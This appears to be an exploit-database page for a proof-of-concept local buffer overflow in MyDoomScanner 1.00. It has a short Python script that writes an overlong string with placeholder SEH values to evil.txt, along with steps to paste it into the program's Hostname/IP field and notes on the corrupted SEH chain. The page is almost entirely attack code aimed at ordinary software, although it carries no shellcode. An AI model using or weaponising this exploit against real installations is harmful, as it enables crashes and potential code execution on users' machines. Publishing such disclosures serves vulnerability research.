MyDoomScanner 1.00 - Local Buffer Overflow (PoC)

2017-08-17 10:05:04

#!/usr/bin/python
# Exploit Title : MyDoomScanner1.00 Hostname/IP Field SEH Overwrite POC
# Discovery by : Anurag Srivastava
# Email : <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="14757a616675733a67667d6275676075627554646d6675797d70776d7671663a777b79">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
# Discovery Date : 17/08/2017
# Software Link : https://www.mcafee.com/in/downloads/free-tools/mydoomscanner.aspx
# Tested Version : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS : Windows XP
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################

#SEH chain of main thread
#Address SE handler
#0012FAF8 43434343
#42424242 *** CORRUPT ENTRY ***

# Offset to the SEH Frame is 536
buffer = "A"*520
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()

Fixes

No fixes

In order to submit a new fix you need to be registered.